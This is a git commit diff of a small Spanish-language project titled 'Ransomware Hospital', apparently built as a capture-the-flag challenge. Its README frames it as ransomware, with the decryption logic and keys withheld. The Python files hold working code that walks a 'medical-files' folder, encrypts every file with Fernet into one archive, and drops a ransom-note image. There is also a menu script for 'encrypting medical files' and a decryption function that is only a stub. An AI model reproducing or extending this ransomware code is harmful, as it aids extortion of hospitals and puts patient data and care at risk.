Initial commit - Source code

README.md

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+# Ransomware Hospital
+<p align="center">
+  <img src="./assets/skull.png" width="256">
+</p>
+
+<p align="center">
+  <img src="https://img.shields.io/badge/version-1.0-red">
+  <img src="https://img.shields.io/badge/Creado_por-Louden-black">
+</p>
+
+## Contenido
+
+```
+├── assets
+│   ├── pwned.png
+│   └── skull.png
+├── ransom.py
+├── README.md
+├── requirements.txt
+└── src
+    ├── decrypt.py
+    ├── encrypt.py
+    ├── __init__.py
+    └── prompt.py
+```
+
+---
+
+## Estructura
+
+### `ransom.py`
+Archivo principal de ejecución.
+
+### `src/encrypt.py`
+Contiene la lógica de cifrado de archivos.
+
+### `src/decrypt.py`
+Contiene la lógica de descifrado. (Me la reservo para mí junto con las claves)
+
+### `src/prompt.py`
+Nota de rescate.
+
+
+##  Instalación
+
+### Clonar proyecto
+
+```sh
+git clone http://challs.caliphallabs.com:18971/louden/ransomware-hospital
+```
+
+### Instalar dependencias:
+
+```sh
+pip install -r requirements.txt
+```
+
+---
+
+## Uso
+
+```sh
+python3 ransom.py
+```

ransom.py

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+import os
+import sys
+
+from src import encrypt_folder, decrypt_and_unpack, copy_prompt_image
+
+def banner():
+    print(r"""             uu$$$$$$$$$$$uu
+          uu$$$$$$$$$$$$$$$$$uu
+         u$$$$$$$$$$$$$$$$$$$$$u
+        u$$$$$$$$$$$$$$$$$$$$$$$u
+       u$$$$$$$$$$$$$$$$$$$$$$$$$u
+       u$$$$$$*   *$$$*   *$$$$$$u
+       *$$$$*      u$u       $$$$*
+        $$$u       u$u       u$$$
+        $$$u      u$$$u      u$$$
+         *$$$$uu$$$   $$$uu$$$$*
+          *$$$$$$$*   *$$$$$$$*
+            u$$$$$$$u$$$$$$$u
+             u$*$*$*$*$*$*$u
+  uuu        $$u$ $ $ $ $u$$       uuu
+  u$$$$       $$$$$u$u$u$$$       u$$$$
+  $$$$$uu      *$$$$$$$$$*     uu$$$$$$
+u$$$$$$$$$$$uu    *****    uuuu$$$$$$$$$
+$$$$***$$$$$$$$$$uuu   uu$$$$$$$$$***$$$*
+ ***      **$$$$$$$$$$$uu **$***
+          uuuu **$$$$$$$$$$uuu
+ u$$$uuu$$$$$$$$$uu **$$$$$$$$$$$uuu$$$
+ $$$$$$$$$$****           **$$$$$$$$$$$*
+   *$$$$$*                      **$$$$**
+     $$$*                         $$$$* 
+     _    _                 _ _        _   
+    | |  | |               (_) |      | |  
+    | |__| | ___  ___ _ __  _| |_ __ _| |  
+    |  __  |/ _ \/ __| '_ \| | __/ _` | |  
+    | |  | | (_) \__ \ |_) | | || (_| | |  
+    |_|__|_|\___/|___/ .__/|_|\__\__,_|_|  
+                     | |
+     _____           |_|
+    |  __ \                             
+    | |__) |__ _ _ __ _ __  ___  _ __ ___  
+    |  _  // _` | '_ \/ __|/ _ \| '_ ` _ \ 
+    | | \ \ (_| | | | \__ \ (_) | | | | | |
+    |_|  \_\__,_|_| |_|___/\___/|_| |_| |_|
+                                            
+                                    by Louden       
+""")
+
+def main():
+    while True:
+        banner()
+        print("1. Cifrar archivos médicos")
+        print("2. Descifrar archivos usando 'key.txt'")
+        print("3. Salir")
+        
+        choice = input("\nSelecciona una opción [1-3]: ")
+
+        if choice == "1":
+            print("\n[*] Inicializando el proceso de cifrado...")
+            encrypt_folder("medical-files", "files.enc")
+            copy_prompt_image()
+
+        elif choice == "2":
+            print("\n[*] Inicializando el proceso de descifrado...")
+            decrypt_and_unpack("files.enc", "key.txt", "restored_medical_files")
+        
+        elif choice == "3":
+            print("\nSaliendo...")
+            break
+        
+        else:
+            print("\n[-] Opción inválida. Prueba de nuevo")
+        
+        input("\nPulsa Enter para vovler al menú")
+        os.system('clear')
+
+if __name__ == "__main__":
+    main()

requirements.txt

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+cryptography==42.0.5

src/__init__.py

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+import os
+import sys
+
+from .encrypt import encrypt_folder
+from .decrypt import decrypt_and_unpack
+from .prompt import copy_prompt_image

src/decrypt.py

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+import os
+import re
+import struct
+from cryptography.fernet import Fernet
+
+def decrypt_and_unpack(input_file, key_file, output_folder):
+    print(f"\n Error: No se cuentra la funcionalidad de descifrado")
+    return

src/encrypt.py

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+import os
+import struct
+from cryptography.fernet import Fernet
+
+def generate_key():
+    key = Fernet.generate_key()
+    with open("key.txt", "wb") as key_file:
+        key_file.write(key)
+    return key
+
+def encrypt_folder(folder_name, output_file):
+    if not os.path.exists(folder_name):
+        print(f"Error: Carpeta '{folder_name}' no encontrada.")
+        return
+
+    key = generate_key()
+    cipher = Fernet(key)
+
+    print(f"Cifrando carpeta: {folder_name}...")
+
+    with open(output_file, "wb") as f_out:
+        for root, dirs, files in os.walk(folder_name):
+            for file in files:
+                path = os.path.join(root, file)
+                with open(path, "rb") as f_in:
+
+                    file_content = f_in.read()
+                    
+                    header = f"FILE_NAME:{file}CONTENT:".encode()
+                    footer = b"END_FILE"
+                    payload = header + file_content + footer
+                    
+                    encrypted_block = cipher.encrypt(payload)
+                    
+                    f_out.write(struct.pack(">I", len(encrypted_block)))
+                    f_out.write(encrypted_block)
+                    
+                    print(f" [+] Archivo cifrado: {file}")
+
+    print(f"\nCarpeta cifrada en '{output_file}'")
+    print("Key utilizada guardada en 'key.txt'.")
+
+if __name__ == "__main__":
+    encrypt_folder("medical-files", "files.enc")

src/prompt.py

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+import os
+import shutil
+
+def copy_prompt_image(destination_path="."):
+    source = os.path.join("assets", "pwned.png")
+    
+    destination = os.path.join(destination_path, "prompt.png")
+
+    try:
+        if os.path.exists(source):
+            shutil.copy2(source, destination)
+            print(f"[+] Nota Ransom copiada en {destination_path}")
+        else:
+            print(f"[-] Error: Imagen '{source}' no encontrada. Asegúrate de que exista la carpeta assets/.")
+            
+    except Exception as e:
+        print(f"[-] Error: {e}")
+
+if __name__ == "__main__":
+    copy_prompt_image()